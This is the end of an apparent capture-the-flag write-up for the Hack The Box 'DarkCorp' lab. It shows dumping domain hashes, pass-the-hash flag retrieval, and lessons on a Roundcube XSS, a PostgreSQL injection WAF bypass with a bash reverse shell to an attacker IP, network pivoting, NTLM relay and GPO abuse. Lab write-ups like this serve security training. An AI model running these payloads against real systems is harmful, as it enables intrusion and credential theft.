  • Default credentials from pygpoabuse: john:H4x00r123..
Verifying the account has admin access:
Attacker Linux
nxc smb 172.16.20.1 -u john -p 'H4x00r123..'
Terminal Output
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
SMB         172.16.20.1     445    DC-01            [+] darkcorp.htb\john:H4x00r123.. (Pwn3d!)
  • Confirmed! john has administrative privileges

Dumping Domain Secrets

Now we can dump the domain secrets:
Attacker Linux
impacket-secretsdump darkcorp/john:'H4x00r123..'@172.16.20.1
Terminal Output
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe7c8f385f342172c7b0267fe4f3cbbd6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f
  • Administrator NTLM hash: fcb3ca5a19a1ccf2d14c13e8b64cde0f

Getting the Flags

User flag from WEB-01:
Attacker Linux
nxc smb 172.16.20.2 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f -x 'type C:\Users\Administrator\Desktop\user.txt'
Terminal Output
[+] Executed command via wmiexec
8a1686aa8240ed9590d9e0d97b70f7b8
Root flag from DC-01:
Attacker Linux
evil-winrm -i 172.16.20.1 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f
Victim Windows (DC-01)
type C:\Users\Administrator\Desktop\root.txt
Terminal Output
64d64d39786adaf9a160fc6f321eb3f5
  • Box complete!

Learning

1. CVE-2024-42009 - RoundCube XSS via Regex Desanitization

A Cross-Site Scripting vulnerability in Roundcube Webmail 1.6.7 allows attackers to steal emails by exploiting a regex pattern that removes bgcolor attributes. By crafting payloads like <body title="bgcolor=foo" name="bar onload=...">, the regex incorrectly removes bgcolor=foo", breaking the syntax and allowing JavaScript execution. This can be used to exfiltrate emails from targets who open malicious messages.

2. Always Enumerate All Domains Thoroughly

Don’t forget to add the box name as a domain in your hosts file (e.g., darkcorp.htb in addition to drip.htb). Different domains may expose different applications and attack surfaces. Always perform both subdomain enumeration and directory busting on all discovered domains.

3. PostgreSQL Arbitrary File Read and RCE via SQL Injection

When you have SQL injection in PostgreSQL, you can leverage powerful built-in functions:
  • pg_read_file('/path/to/file', offset, length) - Read arbitrary files
  • pg_ls_dir('/path/') - List directory contents
  • COPY (SELECT ...) TO PROGRAM 'command' - Execute system commands
If WAF blocks the COPY keyword, bypass it using character concatenation:
DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.22/443 0>&1"'''; EXECUTE c; END $$;

4. Check Database Logs and Backup Files When Running as Database User

When you compromise a database service account (like postgres), always check:
  • Database logs: /var/log/postgresql/ - May contain cleartext credentials from UPDATE/INSERT statements
  • Backup files: /var/backups/postgres/ - May contain GPG-encrypted database dumps
  • Configuration files: May contain passwords for decrypting backups
LinPEAS may not catch these files, so manual enumeration is crucial.

5. Pivoting Tools for Internal Networks - Ligolo, SSHuttle, and Proxychains

When you need to access internal networks through a compromised host, use Ligolo for efficient tunneling:
# On victim
./agent -connect attacker-ip:8000 -ignore-cert&

# On attacker
sudo ip route add 172.16.20.0/24 dev ligolo
If Ligolo is not available or suitable, use SSHuttle for VPN-like access:
sshuttle -r user@pivot-host 172.16.20.0/24
For tools with DNS issues (like Bloodhound with Ligolo), fall back to SSH dynamic port forwarding with proxychains:
ssh user@pivot-host -D 1080
Then configure /etc/proxychains4.conf:
dnat external-ip internal-dc-ip
socks5 127.0.0.1 1080
The dnat line is crucial for routing traffic to the correct internal host. Use proxychains4 to run tools through the tunnel.

6. NTLM Relay via SSRF

When you find an SSRF vulnerability in a Windows application that performs HTTP requests, the application may authenticate using NTLM. You can relay this authentication to other services:
  1. Set up impacket-ntlmrelayx targeting LDAP or SMB on the Domain Controller
  2. Use SSH port forwarding to make your relay server accessible from the internal network
  3. Trigger the SSRF to connect to your relay server
  4. Capture and relay the authentication to escalate privileges
Note: SMB signing must be disabled on the target for SMB relay, but LDAP relay works regardless.

7. GPO Abuse for Privilege Escalation

Users with WriteProperty, WriteDacl, or GenericAll permissions on Group Policy Objects can abuse GPOs to gain Domain Admin:
  1. Identify the target GPO ID from the SYSVOL path: \\domain\SYSVOL\domain\POLICIES\{GPO-ID}
  2. Use tools like pygpoabuse.py to add a scheduled task via GPO:
python pygpoabuse.py domain/user:pass -dc-ip DC-IP -gpo-id 'GPO-ID'
  1. Force a GPO update: gpupdate /force
  2. The tool creates a backdoor admin user (john:H4x00r123.. by default)
  3. Use the new admin account to dump domain secrets

Tags

Initial Access

#CVE-2024-42009 #XSS #RoundCube #EmailStealing #SSRF #SQLInjection #PostgreSQL #FileRead #RCE #WAFBypass #CharcterObfuscation #DatabaseLogs #BackupFiles #GPGDecryption

Privilege Escalation

#ActiveDirectory #Bloodhound #Ligolo #SSHuttle #SSHPortForwarding #Proxychains #NTLMRelay #LDAPRelay #Kerbrute #PasswordSpraying #GPOAbuse #ScheduledTask #Secretsdump
Last modified on February 18, 2026